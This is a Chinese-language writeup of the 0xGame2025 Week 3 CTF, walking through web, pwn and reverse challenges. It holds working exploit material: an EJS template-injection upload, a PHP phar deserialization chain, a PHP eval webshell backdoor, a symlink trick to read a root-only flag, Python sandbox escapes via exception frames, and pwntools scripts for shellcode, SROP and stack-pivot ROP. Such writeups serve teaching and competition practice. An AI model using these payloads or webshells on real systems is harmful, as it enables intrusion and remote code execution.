0xGame2025 Week3 Writeup

Web

这周难度其实跟上一周差不多，真的，但是发现week3被秒完了，~~准备week4惩罚一下（）~~

这真的是文件上传

特意削了一波难度，然后就可以放上来了（我超，🐶！）

上来可以看到源码：

代码块

```
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');

const STATIC_DIR = __dirname;

function serveIndex(req, res) {
    var whilePath = ['index'];
    var templ = req.query.templ || 'index';

    if (!whilePath.includes(templ)){
        return res.status(403).send('Denied Templ');
    }

    var lsPath = path.join(__dirname, req.path);

    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        res.status(500).send('Error');
    }
}

```

```
app.use((req, res, next) => {
    if (typeof req.path !== 'string' ||
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
        ) res.status(500).send('Error');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})

app.use((req, res, next) => {
    if (req.path.endsWith('/')) serveIndex(req, res);
    else next();
})

app.put('/*', (req, res) => {
    const filePath = path.join(STATIC_DIR, req.path);

    fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
        if (err) {
            return res.status(500).send('Error');
        }
        res.status(201).send('Success');
    });
});

app.listen(PORT, () => {
    console.log(`running on port 3000`);
});

```

首先能看到一个渲染文件的函数：

代码块

```
function serveIndex(req, res) {
    var whilePath = ['index'];
    var templ = req.query.templ || 'index';

    if (!whilePath.includes(templ)){
        return res.status(403).send('Denied Templ');
    }

    var lsPath = path.join(__dirname, req.path);

    try {
```

```
            res.render(templ, {
                filenames: fs.readdirSync(lsPath),
                path: req.path
            });
        } catch (e) {
            res.status(500).send('Error');
        }
    }
```

这边限定了只能够渲染index，然后只需要传?templ=xxx就可以渲染并返回一个页面

但是这边有个WAF

代码块

```
app.use((req, res, next) => {
    if (typeof req.path !== 'string' ||
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
        ) res.status(500).send('Error');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})

app.use((req, res, next) => {
    if (req.path.endsWith('/')) serveIndex(req, res);
    else next();
})
```

可以看到过滤了js结尾和..这样子的目录穿越，但是可以使用/.进行绕过，因为/.表示当前目录，且在绝对路径

path.normalize(path) | Node.js API 文档

中，/a/b/.其实等效于/a/b，不如直接写个POC：

代码块

```
const path = "/views/eg.ejs/."

if (/js$|\.\./i.test(path))
    console.log("Not allowed")
else
    console.log("Allowed")
```



然后看文件上传，这边允许使用PUT方法上传文件，且文件内容需要base64编码，例如 `{"content":"b64encode()"}` 然后文件名称直接在URL后面跟即可

代码块

```
app.put('/*', (req, res) => {
    const filePath = path.join(STATIC_DIR, req.path);

    fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
        if (err) {
            return res.status(500).send('Error');
        }
        res.status(201).send('Success');
    });
});
```

注意看，这边并没有限制文件名称，结合之前只允许渲染index，可以想到直接重写index.ejs然后上传并渲染

但问题来了，我该怎么获取FLAG?

xz.aliyun.com/news/11769

很明显的是，当使用 `/views/?templ=index.ejs` 后，index.ejs被解析，而ejs模板同FLASK和Bottle一样，同样存在SSTI（当然，这题其实并不需要使用templ功能，笑）

index.ejs

代码块

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>SSTI</title>
</head>
<body>
<h1>ENV</h1>
<hr>
<ul>
<%= process.mainModule.require('child_process').execSync('env').toString() %>
</ul>
<hr>
</body>
</html>
```

然后base64之后

代码块

```
PUT /views/index.ejs/.

Content-Type:application/json

{"content":"PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPjx0aXRsZT5TU1RJPC90aXRsZT48L2hlYWQ+PGJvZHk+PGgxPkVOVjwvaDE+PGhyPjx1bD48JT0gcHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjU3luYygnZW52JykudG9TdHJpbmcoKSAlPjwvdWw+PGhyPjwvYm9keT48L2h0bWw+"}
```

然后访问GET /views/?templ=index即可得到flag

文件查询器（蓝）

直接搜index.php和upload.php可以看到两个的源码

代码块

```
//index.php
<?php
error_reporting(0);
class MaHaYu{
    public $HG2;
    public $ToT;
    public $FM2tM;
    public function __construct()
    {
      $this -> ZombiegalKawaii();
    }

    public function ZombiegalKawaii()
    {
      $HG2 = $this -> HG2;

if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2))
      {
        die("这这这你也该绕过去了吧");
      }
      else{
        $this -> ToT = "这其实是来占位的";

      }
    }

    public function __destruct()
    {
      $HG2 = $this -> HG2;
      $FM2tM = $this -> FM2tM;
      echo "Wow";
      var_dump($HG2($FM2tM));
    }
}

$file=$_POST['file'];
if(isset($_POST['file']))
{
```

```
    if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
    {
        die("对方撤回了一个请求，并企图萌混过关");
    }
    echo base64_encode(file_get_contents($file));
}
```

upload.php

代码块

```
<?php
error_reporting(0);
$White_List = array("jpg", "png", "pdf");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $White_List)))
{
    $content=file_get_contents($_FILES["file"]["tmp_name"]);
    $pos = strpos($content, "__HALT_COMPILER();");
    if(gettype($pos)==="integer")
    {
        die("你猜我想让你干什么喵");
    }
    else
    {
        if (file_exists("./upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " Already exists. ";
        }
        else
        {
            $file = fopen("./upload/".$_FILES["file"]["name"], "w");
            fwrite($file, $content);
            fclose($file);
            echo "Success ./upload/".$_FILES["file"]["name"];
        }
    }
}
else
{
    echo "请重新尝试喵";
}
?>
```

然后这边过滤了一大堆函数，但其实发现shell_exec没有被过滤，就构造 `shell_exec('env')` 即可

下面这段利用 `file_get_contents` 读取文件，可以使用phar协议（其实看过滤了这么多协议也可以猜到一点）

代码块

```
$file=$_POST['file'];
if(isset($_POST['file']))
{
    if
(preg_match("/[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
    {
        die("对方撤回了一个请求，并企图萌混过关");
    }
    echo base64_encode(file_get_contents($file));
}
```

所以EXP如下：

代码块

```
<?php
class MaHaYu{
    public $HG2 = "shell_exec";
    public $ToT = "unused";
    public $FM2tM = "env";
}

$a = new MaHaYu();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();
```

因为upload.php中需要校验phar文件内容，所以直接gzip压缩后更改后缀为png上传

长夜月

（放了源码后能直接秒了，甚至都不用看我做的页面，哭）

首先打开网页，随便注册进去

发现需要管理员，就回去尝试注册一个管理员，发现已经存在

可以抓包登录界面看看，可以发现JWT，然后解码发现存在username和password，那我们尝试将username更改为admin，然后编码后上传

然后进入到长夜月的页面，看到提示：

就得污染原始时间，回溯到长夜月发布之前...

先提交数据看看：

可以发现有一个min_public_time，结合之后放出的附件来看，需要污染掉CONFIG才行，所以直接：

代码块

```
{
    "name":"EverNight",
    "default_path":"The Remembrance",
    "place":"Amphoreus",
    "__proto__":{
        "min_public_time":"2024-08-03"
    }
}
```

New_Python!

收LilCTF的启发，我也想搞一个UUID8的题目，~~但这题好像没啥意义~~，就当Week3的签到吧



```python
def uuid8(a=None, b=None, c=None):
    """Generate a UUID from three custom blocks.

    * 'a' is the first 48-bit chunk of the UUID (octets 0-5);
    * 'b' is the mid 12-bit chunk (octets 6-7);
    * 'c' is the last 62-bit chunk (octets 8-15).

    When a value is not specified, a pseudo-random value is generat
    """
    if a is None:
        import random
        a = random.getrandbits(48)
    if b is None:
        import random
        b = random.getrandbits(12)
    if c is None:
        import random
        c = random.getrandbits(62)
    int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
    int_uuid_8 |= (b & 0xfff) << 64
    int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
    # by construction, the variant and version bits are already cle
    int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
    return UUID._from_int(int_uuid_8)
```

可以看到这里的UUID8一共有三个参数，那么一个一个找即可（因为LilCTF考的是利用random.seed()生成唯一的UUID8，这里就换个口味(bushi)）

如果没接触过的这边的附件也有提示

代码块

```
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert
import random
import uuid

#通过RSA得到UUID8的a
#再通过其他方式获取到b和c
#利用UUID8生成密码

msg= b''
```

```
BITS = 1024
e = 65537

p = getPrime(BITS//2)
q = getPrime(BITS//2)
n = p * q

phi = (p - 1) * (q - 1)
d = int(invert(e, phi))

key = bytes_to_long(msg)

c = pow(key, e, n)

dp = d % (p - 1)

print("n = ", n)
print("e = ", e)
print("c = ", c)
print("dp = ", dp)

key = "" #{}内的
key = key.encode()
key = int.from_bytes(key, 'big')
pa = uuid.uuid8(a=key)

#n =
703441672192566410770156817261751343243474097419860099281135981003626951465474830217429119118813323092756598630788327610450428236362297828160398608685631757492603125072320072759469165550104622747850382874530189875808844285521148291408218969616960231270986419741236151331111827627161287732712141774703232166 9
#e =  65537
#c =
464384769958778170618605490847925162292861329538413838642710334003743960177185052786677562585034280198893685133141098366050314226497541907734703184123320471504708756937635189167643284341400825301394011249267994094779321081700761689446376435808768776766512552052795563012101615287335380872587848745402359397 19
#dp =
721286984421556435003057669395427623975197469774066234334551479142089940110836091080320602173748291674214942858962816224561910676894409655018545007075252 3
```

随便注册一个账号进去可以直接看解密部分，就是个简单的dp泄露，也没想出的太难，随便拿个脚本就能出

```
代码块
```

```
import gmpy2

n = 
703441672192566410770156817261751343243474097419860099281135981003626951465474830217429119118813323092756598630788327610450428236362297828160398608685631757492603125072320072759469165550104622747850382874530189875808844285521148291408218969616960231270986419741236151331111827627161287732712141774703232166 9
e = 65537
c = 
464384769958778170618605490847925162292861329538413838642710334003743960177185052786677562585034280198893685133141098366050314226497541907734703184123320471504708756937635189167643284341400825301394011249267994094779321081700761689446376435808768776766512552052795563012101615287335380872587848745402359397190
dp = 
721286984421556435003057669395427623975197469774066234334551479142089940110836091080320602173748291674214942858962816224561910676894409655018545007075252 3

for k in range(1, e):
    if (e * dp - 1) % k == 0:
        p = (e * dp - 1) // k + 1
        if n % p == 0:
            q = n // p
            phi = (p - 1) * (q - 1)
            d = gmpy2.invert(e, phi)
            m = pow(c, d, n)
            try:
                plaintext = m.to_bytes((m.bit_length() + 7) // 8, 'big')
                print("Decrypted:")
                print(plaintext.decode('utf-8'))
            except:
                print("Error")
                print(m)
            break

#key{rsaisfunbutisitweborcrypto}
```

然后根据以下这段可以直接知道a的值，直接复制下来 `print(key)` 即可，~~这跟bytes_to_long感觉差不多~~

代码块

```
key = "" #{}内的
key = key.encode()
key = int.from_bytes(key, 'big')
pa = uuid.uuid8(a=key)

```

```
#a=183915192278352122275137263475187826728085592578452428749304943
```

好了，现在可以找剩下两个了，先扫扫目录看看：



现在得到了c的值，只差b了，由提示尝试拦截一个页面看看可以得到b

现在参数都齐了，可以开始生成UUID8码，但是UUID8只有Python14和15有（）

代码块

```python
import uuid

key = "rsaisfunbutisitweborcrypto"
key = key.encode()
key = int.from_bytes(key, 'big')
print(key)

print(uuid.uuid8(a=key ,b=120604030108,c=7430469441))

#63727970-746f-849c-8000-0001bae3f741
```

登录后env即可

放开我的变量

首先扫目录可以发现一个robots.txt，查看试试，这个allow没什么用，忘记删了罢（，然后看asdback.php

代码块

```php
<?php

highlight_file(__FILE__);
echo("Please Input Your CMD");
$cmd = $_POST['__0xGame2025phpPsAux'];
eval($cmd);
?> Please Input Your CMD
```

由题目描述可知，不是php8版本，可以轻易想到php非法变量名解析

谈一谈PHP中关于非法参数名传参问题_php非法传参-CSDN博客

为了方便后面的操作，不妨直接写个马用蚁剑连接一下（也可以直接反弹shell）

代码块

```
_[0xGame2025phpPsAux=file_put_contents('backdoor.php', '<?php
highlight_file(__FILE__); @eval($_POST["pass"]); ?>');
```

OK，现在直接打开终端，查看一下，发现flag没有权限读，不如看看进程 `ps -aux`

```
(www-data:/var/www/html) $ ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1  76740 25316 ?        Ss   08:35   0:00 apache2 -DFOREGROUND
root           7  0.0  0.0   3900  2228 ?        S    08:35   0:00 /bin/bash /start.sh
www-data      22  0.0  0.0  76936 13244 ?        S    08:35   0:00 apache2 -DFOREGROUND
www-data      24  0.0  0.0  76936 13500 ?        S    08:35   0:00 apache2 -DFOREGROUND
www-data      25  0.0  0.0  76936 13440 ?        S    08:35   0:00 apache2 -DFOREGROUND
www-data      32  0.0  0.0  76936 13496 ?        S    08:36   0:00 apache2 -DFOREGROUND
www-data      59  0.0  0.0  76936 13500 ?        S    08:36   0:00 apache2 -DFOREGROUND
www-data      60  0.0  0.0  76936 13308 ?        S    08:36   0:00 apache2 -DFOREGROUND
www-data      61  0.0  0.0  76936 13372 ?        S    08:36   0:00 apache2 -DFOREGROUND
www-data      62  0.0  0.0  76936 13304 ?        S    08:36   0:00 apache2 -DFOREGROUND
www-data      63  0.0  0.0  76820 10392 ?        S    08:36   0:00 apache2 -DFOREGROUND
www-data      68  0.0  0.0  76936 13244 ?        S    08:36   0:00 apache2 -DFOREGROUND
root         789  0.0  0.0   2396   560 ?        S    08:55   0:00 sleep 5s
www-data     793  0.0  0.0   2484   504 ?        S    08:56   0:00 sh -c /bin/sh -c "cd "/var/www/html";ps -
aux;echo 4fdb2c25b;pwd;echo 7a35ef6ba" 2>&1
www-data     794  0.0  0.0   2484   500 ?        S    08:56   0:00 /bin/sh -c cd /var/www/html;ps -aux;echo 4fdb2c25b;pwd;echo 7a35ef6ba
www-data     795  0.0  0.0   6760  2820 ?        R    08:56   0:00 ps -aux
```

```
(www-data:/var/www/html) $ ls -al /
total 88
drwxr-xr-x   1 root root 4096 Sep 11 08:35 .
drwxr-xr-x   1 root root 4096 Sep 11 08:35 ..
-rwxr-xr-x   1 root root    0 Sep 11 08:35 .dockerenv
drwxr-xr-x   1 root root 4096 Nov 15  2022 bin
drwxr-xr-x   2 root root 4096 Sep  3  2022 boot
drwxr-xr-x   5 root root  340 Sep 11 08:35 dev
drwxr-xr-x   1 root root 4096 Sep 11 08:35 etc
-rwx------   1 root root   45 Sep 11 08:33 flag
drwxr-xr-x   2 root root 4096 Sep  3  2022 home
drwxr-xr-x   1 root root 4096 Nov 15  2022 lib
drwxr-xr-x   2 root root 4096 Nov 14  2022 lib64
drwxr-xr-x   2 root root 4096 Nov 14  2022 media
drwxr-xr-x   2 root root 4096 Nov 14  2022 mnt
drwxr-xr-x   2 root root 4096 Nov 14  2022 opt
dr-xr-xr-x 297 root root    0 Sep 11 08:35 proc
drwx------   1 root root 4096 Nov 15  2022 root
drwxr-xr-x   1 root root 4096 Nov 15  2022 run
drwxr-xr-x   1 root root 4096 Nov 15  2022 sbin
drwxr-xr-x   2 root root 4096 Nov 14  2022 srv
-rwxr--r--   1 root root  172 Sep 11 08:29 start.sh
dr-xr-xr-x  11 root root    0 Sep 11 08:35 sys
drwxrwxrwt   1 root root 4096 Nov 15  2022 tmp
drwxr-xr-x   1 root root 4096 Nov 14  2022 usr
drwxr-xr-x   1 root root 4096 Nov 15  2022 var
(www-data:/var/www/html) $ cat /start.sh
#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/marstream/
    chmod 755 -R /var/www/html/marstream/
    sleep 5s

done &

exec apache2-foreground
```

会发现以root权限执行了 `/start.sh`，而且没有写的权限，但是可以读

这里实现了遍历 `/var/www/html/primary` 所有内容

通过`cp -P * /var/www/html/marstream/` 拷贝到 `/var/www/html/marstream/` 并且赋予755可读可执行权限

N1CTF junior 2025 Web wp - Infernity's Blog

代码块

```
cd primary
touch -- -H  //echo "" > -H
ln -s /flag ff
cat /var/www/html/marstream/ff
```



消栈逃出沙箱(1)反正不会有2

（看了提交的所有wp只有一位师傅用了栈帧，哭）

说实话我预期的这题应该没这么多解才对，但是这题也是成功的被非预期掉了，可以直接用Typthon工具一把梭

Typhon: 一种pyjail自动化绕过的思路及其粗略实现 - LamentXU - 博客园

Team-intN18-SoybeanSeclab/Typhon: pyjail (python jail) 绕过 一把梭 CTF 工具

（早知道只留Exception和过滤字符了，哭哭）

正题：

新生赛看到这种题目都不用害怕，直接搜这个题目就可以了

生成器的属性

`gi_code`：生成器对应的code对象

`gi_frame`：生成器对应的frame（栈帧）对象

`gi_running`：生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态，此时这个属性的值为0

`gi_yieldfrom`：如果生成器正在从另一个生成器中 yield 值，则为该生成器对象的引用；否则为 None

`gi_frame.f_locals`：一个字典，包含生成器当前帧的本地变量

`gi_frame` 是一个与生成器（generator）和协程（coroutine）相关的属性。它指向生成器或协程当前执行的帧对象（frame object），如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文，包含了局部变量、执行的字节码指令等信息

当然还有f_系列的：

`f_locals`：一个字典，包含了函数或方法的局部变量。键是变量名，值是变量的值

`f_globals`：一个字典，包含了函数或方法所在模块的全局变量。键是全局变量名，值是变量的值

`f_code`：一个代码对象（code object），包含了函数或方法的字节码指令、常量、变量名等信息

`f_lasti`：整数，表示最后执行的字节码指令的索引

`f_back`：指向上一级调用栈帧的引用，用于构建调用栈

进去可以直接看到源码：

代码块

```
from flask import Flask, request, Response
import sys
import io

app = Flask(__name__)

blackchar = "&*^%#${}@!~`·/<>"

def safe_sandbox_Exec(code):
    whitelist = {
        "print": print,
        "list": list,
        "len": len,
        "Exception": Exception
    }

    safe_globals = {"__builtins__": whitelist}

    original_stdout = sys.stdout
    original_stderr = sys.stderr

    sys.stdout = io.StringIO()
```

```
        sys.stderr = io.StringIO()

        try:
            exec(code, safe_globals)
            output = sys.stdout.getvalue()
            error = sys.stderr.getvalue()
            return output or error or "No output"
        except Exception as e:
            return f"Error: {e}"
        finally:
            sys.stdout = original_stdout
            sys.stderr = original_stderr

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/check', methods=['POST'])
def check():
    data = request.form['data']
    if not data:
        return Response("NO data", status=400)
    for d in blackchar:
        if d in data:
            return Response("NONONO", status=400)
    secret = safe_sandbox_Exec(data)
    return Response(secret, status=200)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=9000)
```

看源码就是一个最基本的栈帧逃逸题目，这里设定了一个沙箱，限制了 `exec` 环境中可用的内建函数，如果想要使用其他如: `globals` 等就需要逃逸出这个沙箱（感觉AI就能做，但是新生赛还是不推荐）

具体知识可以看看下面几篇blog

Python利用栈帧沙箱逃逸-先知社区

python栈帧沙箱逃逸 - Zer0peach can't think

随便写了点过滤，应该有很多种方法可以解出，这边留了一个Exception，可以用异常栈帧逃逸来做

通过try和except的方法抛出异常，然后运用 `traceback` 追踪异常并定位到发生异常的栈帧，然后再回溯到上一层：

```
代码块
```

```
try:
    1/0
except Exception as e:
    frame = e.__traceback__.tb_frame.f_back
    builtins = frame.f_globals['__builtins__']
    builtins.exec("builtins.__import__('os').system('ls /')")
```

通过 int('') 主动引发一个异常，目的是进入 except 块并获取异常对象

捕获异常后，e 包含完整的堆栈信息（`traceback` 属性）

简单写个exp运行即可：

代码块

```
import requests

payload = '''
try:
    int('')
except Exception as e:
    frame = e.__traceback__.tb_frame.f_back.f_back
    builtins = frame.f_globals['__builtins__']
    output = builtins.__import__('os').popen('env').read()
    print(output)
'''

url = "http://127.0.0.1:8998/check"

res = requests.post(url, data={"data": payload})

print(res.text)
```

Pwn

BROP

代码块

```
#include <stdio.h>

void init()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
```

```
    setbuf(stderr, 0);
}
int main()
{
    char s[0x30]={0};
    init();
    while(strcmp(s,"This_is_the_true_passwd.where_your_get_it?Ur_so_amazing!"))
    {
        read(0,s,0x30);
        printf(s);
        memset(s,0,0x30);
    }
    puts("Add 0xGame{....} package");
    return 0;
}
```

虽然本题没有附件,但是可以发现明显的fmt

可以使用%s将elf全部dump到本地

然后使用strings dump_bin搜索elf中的字符串

具体手法参考 : https://xz.aliyun.com/news/12576#toc-3

ret2shellcode

代码块

```
#include <stdio.h>
#include <fcntl.h>    // 用于open
#include <unistd.h>   // 用于read、close
#include <stdlib.h>   // 用于exit
#include <sys/mman.h>
#include <stdint.h>
void init()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}
char buf[0x100];
int get_random_number() {
    int fd;
    unsigned char random_byte;
    ssize_t bytes_read;
    fd = open("/dev/random", O_RDONLY);
    if (fd == -1) {
```

```
        return -1;
    }
    bytes_read = read(fd, &random_byte, 1);
    if (bytes_read != 1) {
        close(fd);
        return -1;
    }
    close(fd);
    return (int)random_byte + 1;
}
int main()
{
    init();
    puts("have a good time");
    mprotect((size_t)buf&(~0xfff),0x1000,7);
    read(0,buf,0x100);
    for(int i=0;i<=0x100;i++)
    {
        if(buf[i]==0x90)
        {
            puts("No nop");
            exit(0);
        }
    }
    ((void(*)())buf+(get_random_number()%0x50+0x50))();
    return 0;
}
```

为bss添加了rwx权限, 然后跳转到buf+offset执行shellcode

由于不知道是从哪里开始执行的,所以使用nop滑梯提高命中概率

代码块

```
from pwn import *
io=process('./pwn')
context.arch='amd64'
#gdb.attach(io)
payload=asm(shellcraft.sh()).rjust(0x100,b"\x90")
io.send(payload)
io.interactive()
```

FMT?

非栈上的格式化字符串

不断修改栈指针的末尾使之指向栈上

通过三联与二联栈链将got表写在栈上

然后修改got表内容为system/one_gadget

参考 : https://xz.aliyun.com/spa/news/18146

SROP

存在栈溢出与syscall指令, 且程序中存在/bin/sh字符串

使用SROP将寄存器修改为对于的内容执行execve("/bin/sh",0,0)

rax用read的返回值控制

代码块

```
from pwn import *
context.arch = 'amd64'
p = process('./pwn')
sh = 0x40105A
syscall = 0x40100F
sig = SigreturnFrame()
sig.rax = 0x3b
sig.rdi = sh
sig.rsi = 0
sig.rdx = 0
sig.rip = syscall
payload = b'a'*0x108 + p64(0x401012) + b'\0'*8 + p64(syscall) + bytes(sig)
p.send(payload)
p.send(b'a'*0xf)
p.interactive()
```

栈迁移

使用leave;ret可以修改rbp/rsp的内容为bss段,可以将栈顶拉回输入的起始,从而写出更长的ROP

代码块

```
from pwn import *
p = process('./pwn')
libc=ELF("./libc.so.6")
bss = 0x404040 + 0x700
read = 0x4011D9
rdi = 0x4011c5
rbp = 0x40115d
leave_ret = 0x4011f3
vuln = 0x4011CA
```

```python
offset = 0x100
p.recvuntil("game :)")
pay1 = b'a' * (offset) + p64(bss + offset) + p64(read)
p.send(pay1)
pay2 = (p64(rdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(rbp) +
p64(bss + 0x300 + offset) + p64(read)).ljust(offset, b'\x00') + p64(bss - 8) +
p64(leave_ret)
p.send(pay2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - libc.sym['read']
print(hex(libc_base))
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b"/bin/sh\x00").__next__()
pay3 = (b'a' * 8 + p64(rdi) + p64(bin_sh) + p64(rdi + 1) +
p64(system)).ljust(offset, b'\x00') + p64(bss + 0x300) + p64(leave_ret)
p.send(pay3)
p.interactive()
```

Reverse

ezVBS

VBS的冒号可以当作换行，查找冒号的位置就能看到Execute，替换成WScript.Echo。



然后在终端运行cscript runme.vbs，就能得到被混淆的代码，虽然还是被混淆的。

这里可以看到，第一部分的代码执行完后，脚本就会被替换成第二段代码，如果上来就运行VBS的话，藏在里面的flag就会被覆盖掉了。（所以题目描述说了不要运行）

代码块

```
PS E:\WorkSpace\Lab\0xGame 2025 Reverse\Week3> cscript runme.vbs
Microsoft (R) Windows Script Host Version 10.0
版权所有(C) Microsoft Corporation。保留所有权利。

code = "Function l(str):Dim i,j,k,r:j=Len(str):r="""":For i=1 to
j:k=Asc(Mid(str,i,1)):If k>=33 And k<=126 Then:r=r&Chr(33+((k+14)Mod
94)):Else:r=r&Chr(k):End If:Next:l=r:End Function:Execute l(""DEC l x?
AFEq@IWQt?E6C J@FC >6DD286i QX i q2D6ec%23=6 l Q7Ie{&*d2Eh=?
```

```
H>5b%3BKF#JZp:A(w!s@)+z|uvr'ax^""""";$C6tD9`g}y<8_Gfc~4qQ i 7=28 l
QH2+2pJ}vsyhrH{7}5K*r?J&DpyE$>{&_HB}z>{*u?J%g:J#|:d&tp|w_52glQ i 6?4 l QQ i
u@C : l ` %@ {6?WDECX $E6A b i :7 : Z a kl {6?WDECX %96? i 3:Eq=@4< l
pD4W|:5WDEC[ :[ `XX Y ade Y ade Z pD4W|:5WDEC[ : Z `[ `XX Y ade Z pD4W|:5WDEC[
: Z a[ `XX i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z `[
`X i 4a l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 4b l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - ecX |@5 ec Z `[ `X i 4c l |:5Wq2D6ec%23=6[ x?
EW3:Eq=@4<X |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U 4a U 4b U 4c i t=D6 i x7 : Z `
kl {6?WDECX %96? i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y ade Z pD4W|:5WDEC[ :
Z `[ `XX Y ade i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z
`[ `X i 4a l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 4b l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - ecX |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U 4a U 4b
U QlQ i t=D6 i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y ade i 4` l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z `[ `X i 4a l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U
4a U QlQ U QlQ i t?5 x7 i t?5 x7 i }6IE i xu 6?4 l 7=28 %96? i |D8q@I Q*@FC
7=28 :D 4@CC64EPQ i t=D6 i |D8q@I Q*@FC 7=28 :D :?4@CC64EPQ i t?5 x7"")"
Execute code
code = "Function l(str):Dim i,j,k,r:j=Len(str):r="""":For i=1 to
j:k=Asc(Mid(str,i,1)):If k>=33 And k<=126 Then:r=r&Chr(33+((k+14)Mod
94)):Else:r=r&Chr(k):End If:Next:l=r:End Function:Execute l(""DEC l x?
AFEq@IWQt?E6C J@FC 7=28i QX i q2D6ec%23=6 l
QeHB)IvGyC%c~""""">}twp^h@fg'qZ`=+#s4EdAFa2(_5Du{Jr$86;z79&:x|*!<Kb?3Q i 7=28 l
Q^^H5q'Z2CGvJ+(fdZyaE#:vz=
(faCy28#^H$=xwE#GKE+_f$CvZB@zHa`'%2qxpJs^6Esgb&+AHF=:&6#'p2+AHD+zHJ`gr2=yaE#GKE
q(@Eq'p9qg>
{ZgwEq(fFq'f7Z^H8ZAH9`G27~BHu#'>9CGv7Cy28#'CEZ(;dZzH5q'""""Eq(f2=AH8#
(fz#x%D#yp2=EllQ i 6?4 l QQ i u@C : l ` %@ {6?WDECX $E6A b i :7 : Z a kl {6?
WDECX %96? i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y ade Z pD4W|:5WDEC[ : Z `[
`XX Y ade Z pD4W|:5WDEC[ : Z a[ `XX i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec
Y ec Y ecXX |@5 ec Z `[ `X i 4a l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX
|@5 ec Z `[ `X i 4b l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - ecX |@5 ec Z `[ `X i 4c
l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4<X |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U 4a U 4b U
4c i t=D6 i x7 : Z ` kl {6?WDECX %96? i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y
ade Z pD4W|:5WDEC[ : Z `[ `XX Y ade i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec
Y ec Y ecXX |@5 ec Z `[ `X i 4a l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX
|@5 ec Z `[ `X i 4b l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - ecX |@5 ec Z `[ `X i 6?4
l 6?4 U 4` U 4a U 4b U QlQ i t=D6 i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y ade
